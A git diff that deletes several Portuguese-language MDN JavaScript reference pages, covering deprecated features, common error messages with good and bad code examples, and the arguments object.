- </tr>
- </tbody>
-</table>
-
-<p>The following are now properties of <code>RegExp</code> instances, no longer of the <code>RegExp</code> object:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Propriedades</th>
- <th>Descrição</th>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.global", "global")}}</td>
- <td>Whether or not to test the regular expression against all possible matches in a string, or only against the first.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.ignoreCase", "ignoreCase")}}</td>
- <td>Whether or not to ignore case while attempting a match in a string.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.lastIndex", "lastIndex")}}</td>
- <td>The index at which to start the next match.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.multiline", "multiline")}}</td>
- <td>Whether or not to search in strings across multiple lines.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.source", "source")}}</td>
- <td>The text of the pattern.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Métodos_de_egExp">Métodos de egExp</h3>
-
-<ul>
- <li>The {{jsxref("RegExp.compile", "compile()")}} method is deprecated.</li>
- <li>The <code>valueOf</code> method is no longer specialized for <code>RegExp</code>. Use {{jsxref("Object.valueOf()")}}.</li>
-</ul>
-
-<h3 id="Propriedades_de_Function">Propriedades de <em>Function</em></h3>
-
-<ul>
- <li>The {{jsxref("Global_Objects/Function/caller", "caller")}} and {{jsxref("Global_Objects/Function/arguments", "arguments")}} properties are deprecated, because they leak the function caller. Instead of the arguments property, you should use the {{jsxref("Functions/arguments", "arguments")}} object inside function closures.</li>
-</ul>
-
-<h3 id="Gerador_de_Legacy">Gerador de <em>Legacy</em></h3>
-
-<ul>
- <li>{{jsxref("Statements/Legacy_generator_function", "Legacy generator function statement")}} and {{jsxref("Operators/Legacy_generator_function", "Legacy generator function expression")}} are deprecated. Use {{jsxref("Statements/function*", "function* statement")}} and {{jsxref("Operators/function*", "function* expression")}} instead.</li>
- <li>{{jsxref("Operators/Array_comprehensions", "JS1.7/JS1.8 Array comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} and {{jsxref("Operators/Generator_comprehensions", "JS1.7/JS1.8 Generator comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} are deprecated.</li>
-</ul>
-
-<h3 id="Iterator"><em>Iterator</em></h3>
-
-<ul>
- <li>{{jsxref("Global_Objects/StopIteration", "StopIteration")}} is deprecated.</li>
- <li>{{jsxref("Global_Objects/Iterator", "Iterator")}} is deprecated.</li>
-</ul>
-
-<h3 id="Métodos_de_Object">Métodos de <em>Object</em></h3>
-
-<ul>
- <li>{{jsxref("Object.watch", "watch")}} and {{jsxref("Object.unwatch", "unwatch")}} are deprecated. Use {{jsxref("Proxy")}} instead.</li>
- <li><code>__iterator__</code> is deprecated.</li>
- <li>{{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} is deprecated. Use {{jsxref("Proxy")}} instead.</li>
-</ul>
-
-<h3 id="Métodos_de_Date">Métodos de <em>Date</em></h3>
-
-<ul>
- <li>{{jsxref("Global_Objects/Date/getYear", "getYear")}} and {{jsxref("Global_Objects/Date/setYear", "setYear")}} are affected by the Year-2000-Problem and have been subsumed by {{jsxref("Global_Objects/Date/getFullYear", "getFullYear")}} and {{jsxref("Global_Objects/Date/setFullYear", "setFullYear")}}.</li>
- <li>You should use {{jsxref("Global_Objects/Date/toISOString", "toISOString")}} instead of the deprecated {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} method in new code.</li>
- <li>{{jsxref("Global_Objects/Date/toLocaleFormat", "toLocaleFormat")}} is deprecated.</li>
-</ul>
-
-<h3 id="Functions"><em>Functions</em></h3>
-
-<ul>
- <li>{{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}} are deprecated. Use regular {{jsxref("Operators/function", "functions")}} or {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}} instead.</li>
-</ul>
-
-<h3 id="Proxy"><em>Proxy</em></h3>
-
-<ul>
- <li><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.create</a> and <a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.createFunction</a> are deprecated. Use {{jsxref("Proxy")}} instead.</li>
- <li>The following traps are obsolete:
- <ul>
- <li><code>hasOwn</code> ({{bug(980565)}}, Firefox 33).</li>
- <li><code>getEnumerablePropertyKeys</code> ({{bug(783829)}}, Firefox 37)</li>
- <li><code>getOwnPropertyNames</code> ({{bug(1007334)}}, Firefox 33)</li>
- <li><code>keys</code> ({{bug(1007334)}}, Firefox 33)</li>
- </ul>
- </li>
-</ul>
-
-<h3 id="Sequências_de_Escape">Sequências de <em>Escape</em></h3>
-
-<ul>
- <li>Octal escape sequences (\ followed by one, two, or three octal digits) are deprecated in string and regular expression literals.</li>
- <li>The {{jsxref("Global_Objects/escape", "escape")}} and {{jsxref("Global_Objects/unescape", "unescape")}} functions are deprecated. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}}, {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Global_Objects/decodeURI", "decodeURI")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} to encode and decode escape sequences for special characters.</li>
-</ul>
-
-<h3 id="Métodos_de_String">Métodos de <em>String</em></h3>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/tag/HTML%20wrapper%20methods">HTML wrapper methods</a> like {{jsxref("String.prototype.fontsize")}} and {{jsxref("String.prototype.big")}}.</li>
- <li>{{jsxref("String.prototype.quote")}} is removed from Firefox 37.</li>
- <li>non standard <code>flags</code> parameter in {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, and {{jsxref("String.prototype.replace")}} are deprecated.</li>
-</ul>
-
-<h2 id="Funcionalidades_removidas">Funcionalidades removidas</h2>
-
-<p>Estas funcionalidades obsoletas foram totalmente removidas do JavaScript e não podem mais ser utilizadas a partir da versão indicada do JavaScript.</p>
-
-<h3 id="Object"><em>Object</em></h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Property</th>
- <th>Description</th>
- </tr>
- <tr>
- <td>{{jsxref("Global_Objects/Object/count", "__count__")}}</td>
- <td>Returns the number of enumerable properties directly on a user-defined object.</td>
- </tr>
- <tr>
- <td>{{jsxref("Global_Objects/Object/Parent", "__parent__")}}</td>
- <td>Points to an object's context.</td>
- </tr>
- <tr>
- <td>{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}</td>
- <td>Evaluates a string of JavaScript code in the context of the specified object.</td>
- </tr>
- <tr>
- <td>{{jsxref("Object.observe()")}}</td>
- <td>Asynchronously observing the changes to an object.</td>
- </tr>
- <tr>
- <td>{{jsxref("Object.unobserve()")}}</td>
- <td>Remove observers.</td>
- </tr>
- <tr>
- <td>{{jsxref("Object.getNotifier()")}}</td>
- <td>Creates an object that allows to synthetically trigger a change.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Function"><em>Function</em></h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Property</th>
- <th>Description</th>
- </tr>
- <tr>
- <td>{{jsxref("Global_Objects/Function/arity", "arity")}}</td>
- <td>Number of formal arguments.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Array"><em>Array</em></h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td>Property</td>
- <td>Description</td>
- </tr>
- <tr>
- <td>{{jsxref("Array.observe()")}}</td>
- <td>Asynchronously observing changes to Arrays.</td>
- </tr>
- <tr>
- <td>{{jsxref("Array.unobserve()")}}</td>
- <td>Remove observers.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Number"><em>Number</em></h3>
-
-<ul>
- <li>{{jsxref("Number.toInteger()")}}</li>
-</ul>
-
-<h3 id="ParallelArray"><em>ParallelArray</em></h3>
-
-<ul>
- <li>{{jsxref("ParallelArray")}}</li>
-</ul>
-
-<h3 id="Statements"><em>Statements</em></h3>
-
-<ul>
- <li>{{jsxref("Statements/for_each...in", "for each...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
- <li>Destructuring {{jsxref("Statements/for...in", "for...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
- <li>let blocks and let expressions are obsolete.</li>
-</ul>
-
-<h3 id="E4X">E4X</h3>
-
-<p>See <a href="/en-US/docs/Archive/Web/E4X">E4X</a> for more information.</p>
-
-<h3 id="Variáveis_Sharp">Variáveis <em>Sharp</em></h3>
-
-<p>Consulte <a href="/en-US/docs/Archive/Web/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a> para mais informação.</p>
diff --git a/files/pt-pt/web/javascript/reference/errors/index.html b/files/pt-pt/web/javascript/reference/errors/index.html
deleted file mode 100644
index c295fccea6..0000000000
--- a/files/pt-pt/web/javascript/reference/errors/index.html
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: JavaScript error reference
-slug: Web/JavaScript/Reference/Errors
-tags:
- - Debugging
- - Error
- - Errors
- - Exception
- - JavaScript
- - NeedsTranslation
- - TopicStub
- - exceptions
-translation_of: Web/JavaScript/Reference/Errors
----
-<p>{{jsSidebar("Errors")}}</p>
-
-<p>Below, you'll find a list of errors which are thrown by JavaScript. These errors can be a helpful debugging aid, but the reported problem isn't always immediately clear. The pages below will provide additional details about these errors. Each error is an object based upon the {{jsxref("Error")}} object, and has a <code>name</code> and a <code>message</code>.</p>
-
-<p>Errors displayed in the Web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code.</p>
-
-<h2 id="List_of_errors">List of errors</h2>
-
-<p>In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). Together, these two properties provide a starting point toward understanding and resolving the error. For more information, follow the links below!</p>
-
-<p>{{ListSubPages("/en-US/docs/Web/JavaScript/Reference/Errors")}}</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>: Beginner's introductory tutorial on fixing JavaScript errors.</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/errors/not_a_function/index.html b/files/pt-pt/web/javascript/reference/errors/not_a_function/index.html
deleted file mode 100644
index e17857e074..0000000000
--- a/files/pt-pt/web/javascript/reference/errors/not_a_function/index.html
+++ /dev/null
@@ -1,172 +0,0 @@
----
-title: 'TypeError: "x" is not a function'
-slug: Web/JavaScript/Reference/Errors/Not_a_function
-tags:
- - Erro
- - Erros
- - JavaScript
- - TypeError
-translation_of: Web/JavaScript/Reference/Errors/Not_a_function
----
-<div>{{jsSidebar("Errors")}}</div>
-
-<p>A exeção de JavaScript "is not a function" ocorre quando há uma tentativa de chamar um valor a partir de uma função, mas o valor não é uma função.</p>
-
-<h2 id="Mensagem">Mensagem</h2>
-
-<pre class="syntaxbox notranslate">TypeError: Object doesn't support property or method {x} (Edge)
-TypeError: "x" is not a function
-</pre>
-
-<h2 id="Tipo_de_erro">Tipo de erro</h2>
-
-<p>{{jsxref("TypeError")}}</p>
-
-<h2 id="O_que_deu_errado">O que deu errado?</h2>
-
-<p>Tentou chamar um valor a partir de uma função, mas o valor não é uma função. Isto acontece quando algum código espera que se forneça uma função, mas isso não acontece.</p>
-
-<p>Talvez haja um erro no nome da função? Pode ser que o objeto a que está a chamar o método não tenha esta função? Por exemplo, um <code>Object</code> não tem função de <code>map</code>, mas o <code>Array</code> tem.</p>
-
-<p>Há muitas funções que necessitam de uma função como parâmetro (<em>callback</em>). Terá de fornecer uma função para que estes métodos funcionem corretamente:</p>
-
-<ul>
- <li>Quando se trabalha com objetos {{jsxref("Array")}} ou {{jsxref("TypedArray")}}:
- <ul>
- <li>{{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}},  {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}</li>
- </ul>
- </li>
- <li>Quando se trabalha com objetos {{jsxref("Map")}} e {{jsxref("Set")}}:
- <ul>
- <li>{{jsxref("Map.prototype.forEach()")}} e {{jsxref("Set.prototype.forEach()")}}</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Um_erro_no_nome_da_função">Um erro no nome da função</h3>
-
-<p>Neste caso existe um erro no nome função:</p>
-
-<pre class="brush: js example-bad notranslate">let x = document.getElementByID('foo');
-// TypeError: document.getElementByID is not a function
-</pre>
-
-<p>O nome correto da função é <code>getElementByI<strong>d</strong></code>:</p>
-
-<pre class="brush: js example-good notranslate">let x = document.getElementById('foo');
-</pre>
-
-<h3 id="Função_é_chamada_no_objeto_errado">Função é chamada no objeto errado</h3>
-
-<p>Para certos métodos, é necessário fornecer uma função (<em>callback</em>) e funcionará apenas em objetos específicos. Neste exemplo, é utilizado o {{jsxref("Array.prototype.map()")}}, que funcionará apenas com objetos {{jsxref("Array")}}.</p>
-
-<pre class="brush: js example-bad notranslate">let obj = {a: 13, b: 37, c: 42};
-
-obj.map(function(num) {
- return num * 2;
-});
-
-// TypeError: obj.map is not a function</pre>
-
-<p>Use antes uma matriz:</p>
-
-<pre class="brush: js example-good notranslate">let numbers = [1, 4, 9];
-
-numbers.map(function(num) {
- return num * 2;
-});
-
-// Array [2, 8, 18]
-</pre>
-
-<h3 id="Function_shares_a_name_with_a_pre-existing_property">Function shares a name with a pre-existing property</h3>
-
-<p>Por vezes, ao criar uma classe, pode ter uma propriedade e uma função com o mesmo nome. Ao chamar a função, o compilador pensa que a função deixa de existir.</p>
-
-<pre class="brush: js example-bad notranslate">var Dog = function () {
- this.age = 11;
- this.color = "black";
- this.name = "Ralph";
- return this;
-}
-
-Dog.prototype.name = function(name) {
- this.name = name;
- return this;
-}
-
-
-var myNewDog = new Dog();
-myNewDog.name("Cassidy"); //Uncaught TypeError: myNewDog.name is not a function
-</pre>
-
-<p>Use um nome diferente para a propriedade:</p>
-
-<pre class="brush: js example-good notranslate">var Dog = function () {
- this.age = 11;
- this.color = "black";
- this.dogName = "Ralph"; //Using this.dogName instead of .name
- return this;
-}
-
-Dog.prototype.name = function(name) {
- this.dogName = name;
- return this;
-}
-
-
-var myNewDog = new Dog();
-myNewDog.name("Cassidy"); //Dog { age: 11, color: 'black', dogName: 'Cassidy' }
-</pre>
-
-<h3 id="Usar_parênteses_para_multiplicação">Usar parênteses para multiplicação</h3>
-
-<p>Em matemática, pode escrever 2 × (3 + 5) como 2*(3 + 5) ou somente 2(3 + 5).</p>
-
-<p>Usar a última forma dá um erro:</p>
-
-<pre class="js example-bad notranslate">const sixteen = 2(3 + 5);
-alert('2 x (3 + 5) is ' + String(sixteen));
-//Uncaught TypeError: 2 is not a function</pre>
-
-<p>Pode corrigir o erro com a operadora <code>*</code>:</p>
-
-<pre class="js example-good notranslate">const sixteen = 2 * (3 + 5);
-alert('2 x (3 + 5) is ' + String(sixteen));
-//2 x (3 + 5) is 16
-</pre>
-
-<h3 id="Importar_o_modulo_exportado_corretamente">Importar o modulo exportado corretamente</h3>
-
-<p>Certifique-se que está a importar o módulo corretamente.</p>
-
-<p>Um exemplo de uma biblioteca <em>helper</em> (<code>helpers.js</code>)</p>
-
-<pre class="brush: js notranslate">let helpers = function () { };
-
-helpers.groupBy = function (objectArray, property) {
- return objectArray.reduce(function (acc, obj) {
- var key = obj[property];
- if (!acc[key]) {
- acc[key] = [];
- }
- acc[key].push(obj);
- return acc;
- },
-{});
-}
-
-export default helpers;
-</pre>
-
-<p>A utilização correta de importação (para <code>App.js</code>) é:</p>
-
-<pre class="notranslate">import helpers from './helpers'</pre>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Funcoes">Funções</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/errors/stmt_after_return/index.html b/files/pt-pt/web/javascript/reference/errors/stmt_after_return/index.html
deleted file mode 100644
index f3d1de92c8..0000000000
--- a/files/pt-pt/web/javascript/reference/errors/stmt_after_return/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
----
-title: 'Aviso: código inacessível depois de declaração de retorno'
-slug: Web/JavaScript/Reference/Errors/Stmt_after_return
-tags:
- - Aviso
- - JavaScript
-translation_of: Web/JavaScript/Reference/Errors/Stmt_after_return
----
-<div>{{jsSidebar("Errors")}}</div>
-
-<h2 id="Mensagem">Mensagem</h2>
-
-<pre class="syntaxbox">Warning: unreachable code after return statement (Firefox)
-</pre>
-
-<h2 id="Tipo_de_ErroEdit">Tipo de Erro<a class="button section-edit only-icon" href="https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Errors/Stmt_after_return$edit#Tipo_de_Erro" rel="nofollow, noindex"><span>Edit</span></a></h2>
-
-<p>Aviso</p>
-
-<h2 id="O_que_correu_malEdit">O que correu mal?<a class="button section-edit only-icon" href="https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Errors/Stmt_after_return$edit#O_que_deu_errado" rel="nofollow, noindex"><span>Edit</span></a></h2>
-
-<p><em>Unreachable code after return statement</em> pode ocorrer nas seguintes situações:</p>
-
-<ul>
- <li>Quando é utilizada uma expressão depois de uma declaração <a href="/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/return" title="A declaração return finaliza a execução de uma função e especifica os valores que devem ser retonados para onde a função foi chamada."><code>return</code></a> , ou</li>
- <li>quando é utilizada uma declaração <em>return</em> sem ponto e vírgula, mas incluindo uma declaração diretamente depois.</li>
-</ul>
-
-<p>Quando existe uma expressão depois de uma declaração <code>return</code> válida, é dado um aviso para indicar que o código depois da declaração <code>return</code> é inacessível, o que significa que o mesmo nunca pode ser executado.</p>
-
-<p>Porquê é que eu deveria ter ponto e vírgula depois de declarações <code>return</code>? No caso de declarações <code>return</code> sem ponto e vírgula, não é claro se o programador pretendia devolver a declaração na linha seguinte, ou para parar a execução e o retorno. O aviso indica que existe ambiguidade no modo como a declaração <code>return</code> foi escrita.</p>
-
-<p>Os avisos não serão apresentados para declarações <em>return</em> sem ponto-e-vírgula nas seguintes situações:</p>
-
-<ul>
- <li>{{jsxref("Statements/throw", "throw")}}</li>
- <li>{{jsxref("Statements/break", "break")}}</li>
- <li>{{jsxref("Statements/var", "var")}}</li>
- <li>{{jsxref("Statements/function", "function")}}</li>
-</ul>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Casos_inválidos">Casos inválidos</h3>
-
-<pre class="brush: js example-bad">function f() {
- var x = 3;
- x += 4;
- return x; // retorna a função de imediato
- x -= 3; // logo, esta linha não será executada; é inacessivel
-}
-
-function f() {
- return // é tratado como um `return;`
- 3 + 4; // logo, a função é retornada, porém esta linha não será alcançada
-}
-</pre>
-
-<h3 id="Casos_válidos">Casos válidos</h3>
-
-<pre class="brush: js example-good">function f() {
- var x = 3;
- x += 4;
- x -= 3;
- return x; // OK: return depois de todas as declarações
-}
-
-function f() {
- return 3 + 4 // OK: um return sem ponto e vírgula com uma expressão na mesma linha
-}
-</pre>
-
-<h2 id="Consulte_tambémEdit">Consulte também<a class="button section-edit only-icon" href="https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Errors/Stmt_after_return$edit#Ver_também" rel="nofollow, noindex"><span>Edit</span></a></h2>
-
-<ul>
- <li>{{jsxref("Statements/return", "Automatic Semicolon Insertion", "#Automatic_Semicolon_Insertion", 1)}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/errors/unexpected_token/index.html b/files/pt-pt/web/javascript/reference/errors/unexpected_token/index.html
deleted file mode 100644
index 55103f82a7..0000000000
--- a/files/pt-pt/web/javascript/reference/errors/unexpected_token/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: 'SyntaxError: Unexpected token'
-slug: Web/JavaScript/Reference/Errors/Unexpected_token
-tags:
- - Erro de Sintaxe
- - Erros
- - JavaScript
-translation_of: Web/JavaScript/Reference/Errors/Unexpected_token
----
-<div>{{jsSidebar("Errors")}}</div>
-
-<h2 id="Mensagem">Mensagem</h2>
-
-<pre class="syntaxbox">SyntaxError: expected expression, got "x"
-SyntaxError: expected property name, got "x"
-SyntaxError: expected target, got "x"
-SyntaxError: expected rest argument name, got "x"
-SyntaxError: expected closing parenthesis, got "x"
-SyntaxError: expected '=&gt;' after argument list, got "x"
-</pre>
-
-<h2 id="Tipo_de_erro">Tipo de erro</h2>
-
-<p>{{jsxref("SyntaxError")}}</p>
-
-<h2 id="O_que_aconteceu_de_errado">O que aconteceu de errado?</h2>
-
-<p>É esperado um contrutor de linguagem específico, mas foi entregue outra coisa qualquer. Isto poderá ser simplesmente um erro de escrita.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Expressão_esperada">Expressão esperada</h3>
-
-<p>Por exemplo, quando são chamadas funções, as vírgulas  imediatamente antes de fechar a função não são permitidas. JavaScript vai esperar outro argumento, que pode na verdade ser qualquer expressão.</p>
-
-<pre class="brush: js example-bad">Math.max(2, 42,);
-// SyntaxError: expected expression, got ')'
-</pre>
-
-<p>Para corrigir o problema, retirava-se a virgula ou adicionavam-se mais argumentos:</p>
-
-<pre class="brush: js example-good">Math.max(2, 42);
-Math.max(2, 42, 13 + 37);
-</pre>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{jsxref("Math.max()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/pt-pt/web/javascript/reference/errors/unnamed_function_statement/index.html
deleted file mode 100644
index 25a542b9df..0000000000
--- a/files/pt-pt/web/javascript/reference/errors/unnamed_function_statement/index.html
+++ /dev/null
@@ -1,114 +0,0 @@
----
-title: 'Erro de sintaxe: declaração de função precisa de um nome'
-slug: Web/JavaScript/Reference/Errors/Unnamed_function_statement
-translation_of: Web/JavaScript/Reference/Errors/Unnamed_function_statement
-original_slug: Web/JavaScript/Reference/Errors/declaração_função_sem_nome
----
-<div>{{jsSidebar("Errors")}}</div>
-
-<h2 id="Mensagem">Mensagem</h2>
-
-<pre class="syntaxbox">Syntax Error: Expected identifier (Edge)
-SyntaxError: function statement requires a name [Firefox]
-SyntaxError: Unexpected token ( [Chrome]
-</pre>
-
-<h2 id="Tipo_de_erro">Tipo de erro</h2>
-
-<p>{{jsxref("SyntaxError")}}</p>
-
-<h2 id="O_que_correu_mal">O que correu mal?</h2>
-
-<p>Existe uma <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">declaração de função</a> no código que precisa de um nome. Você deve verficiar como as funções são definidas e se é necessário indicar um nome para a função</p>
-
-<p><span class="tlid-translation translation"><span title="">Existe uma </span></span><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">declaração de função</a><span class="tlid-translation translation"><span title=""> no código que requer um nome.</span> <span title="">Você precisará verificar como as funções são definidas e se você precisa fornecer um nome para a função, ou se a função em questão precisa ser uma expressão de função, um {{Glossary ("IIFE")}}, ou se o</span> <span title="">código da função esta colocado corretamente neste contexto.</span></span></p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Declarações_vs_Expressões">Declarações vs Expressões</h3>
-
-<p>Uma <em><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">declaração de função</a></em> precisa de um nome, o código seguinte não funciona:</p>
-
-<pre class="brush: js example-bad">function () {
- return 'Hello world';
-}
-// SyntaxError: function statement requires a name
-</pre>
-
-<p>É possível usar uma <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">expressão de função</a> (atribuição) como alternativa:</p>
-
-<pre class="brush: js example-good">var greet = function() {
- return 'Hello world';
-};</pre>
-
-<p><span class="tlid-translation translation"><span title="">Ou, a sua função é talvez destinada a ser uma IIFE (Expressão de Função Invocada Imediatamente), que é uma função que é executada assim que é definida.</span> Serão precisos<span title=""> mais alguns parêntises neste caso:</span></span></p>
-
-<pre class="brush: js example-good">(function () {
-
-})();</pre>
-
-<h3 id="Funções_com_nome">Funções com nome</h3>
-
-<p>Se você está a usar uma função com <a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">identificador</a>, <span class="tlid-translation translation"><span title="">ainda precisará fornecer um nome de função após a palavra-chave da função.</span> O código seguinte<span title=""> não funciona:</span></span></p>
-
-<pre class="brush: js example-bad">function Greeter() {
- german: function () {
- return "Moin";
- }
-}
-// SyntaxError: function statement requires a name
-</pre>
-
-<p>O código seguinte irá funcionar por exemplo:</p>
-
-<pre class="brush: js example-good">function Greeter() {
- german: function g() {
- return "Moin";
- }
-}</pre>
-
-<h3 id="Métodos_de_objectos">Métodos de objectos</h3>
-
-<p><span class="tlid-translation translation"><span title="">Se você pretendia criar um método de um objeto, você precisará criar um objeto.</span> <span title="">A sintaxe a seguir sem um nome após a palavra-chave </span></span><code>function</code><span class="tlid-translation translation"><span title=""> é válida.</span></span></p>
-
-<pre class="brush: js example-good">var greeter = {
- german: function () {
- return "Moin";
- }
-};</pre>
-
-<h3 id="Sintaxe_de_Callback">Sintaxe de Callback</h3>
-
-<p>Além disso, verifique a sintaxe ao usar callbacks. Parêntisis e virgurlas podem facilmente se tornar complicados.</p>
-
-<pre class="brush: js example-bad">promise.then(
- function() {
- console.log("success");
- });
- function() {
- console.log("error");
-}
-// SyntaxError: function statement requires a name
-</pre>
-
-<p>:</p>
-
-<pre class="brush: json example-good">promise.then(
- function() {
- console.log("success");
- },
- function() {
- console.log("error");
- }
-);
-</pre>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions in the JavaScript Guide</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a></li>
- <li><a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">IIFE</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">label</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/functions/arguments/index.html b/files/pt-pt/web/javascript/reference/functions/arguments/index.html
deleted file mode 100644
index 01c656de88..0000000000
--- a/files/pt-pt/web/javascript/reference/functions/arguments/index.html
+++ /dev/null
@@ -1,229 +0,0 @@
----
-title: O objeto arguments
-slug: Web/JavaScript/Reference/Functions/arguments
-tags:
- - Class
- - Funções
- - JavaScript
- - Referencia
- - arguments
-translation_of: Web/JavaScript/Reference/Functions/arguments
-original_slug: Web/JavaScript/Reference/Funcoes/arguments
----
-<p>{{JSSidebar("Functions")}}</p>
-
-<p><strong><code>arguments</code></strong> é um objeto semelhante a uma "<code>Matiz</code>" acessível dentro de <em>functions </em>que contém os valores dos argumentos passados ​​para essa função.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> If you're writing ES6 compatible code, then <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a> should be preferred.</p>
-</div>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> “Array-like” means that <code>arguments</code> has a <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/length">length</a></code> property and properties indexed from zero, but it doesn't have {{JSxRef("Array")}}'s built-in methods like <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> and <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a></code>. See <a href="#Description">§Description</a> for details.</p>
-</div>
-
-<div>{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">arguments</pre>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>The <code>arguments</code> object is a local variable available within all non-<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow</a> functions. You can refer to a function's arguments inside that function by using its <code>arguments</code> object. It has entries for each argument the function was called with, with the first entry's index at 0.</p>
-
-<p>For example, if a function is passed 3 arguments, you can access them as follows:</p>
-
-<pre class="brush: js">arguments[0] // first argument
-arguments[1] // second argument
-arguments[2] // third argument
-</pre>
-
-<p>Each argument can also be set or reassigned:</p>
-
-<pre class="brush: js">arguments[1] = 'new value';
-</pre>
-
-<p>The <code>arguments</code> object is not an {{JSxRef("Array")}}. It is similar, but does not have any <code>Array</code> properties except <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/length">length</a></code>. For example, it does not have the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">pop</a></code> method. However, it can be converted to a real <code>Array</code>:</p>
-
-<pre class="brush: js">var args = Array.prototype.slice.call(arguments);
-// Using an array literal is shorter than above but allocates an empty array
-var args = [].slice.call(arguments);
-</pre>
-
-<p>As you can do with any Array-like object, you can use ES2015's {{JSxRef("Array.from()")}} method or <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a> to convert <code>arguments</code> to a real Array:</p>
-
-<pre>let args = Array.from(arguments);
-// or
-let args = [...arguments];</pre>
-
-<p>The <code>arguments</code> object is useful for functions called with more arguments than they are formally declared to accept. This technique is useful for functions that can be passed a variable number of arguments, such as <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min">Math.min()</a></code>. This example function accepts any number of string arguments and returns the longest one:</p>
-
-<pre class="brush: js">function longestString() {
- var longest = '';
- for (var i=0; i &lt; arguments.length; i++) {
- if (arguments[i].length &gt; longest.length) {
- longest = arguments[i];
- }
- }
- return longest;
-}
-</pre>
-
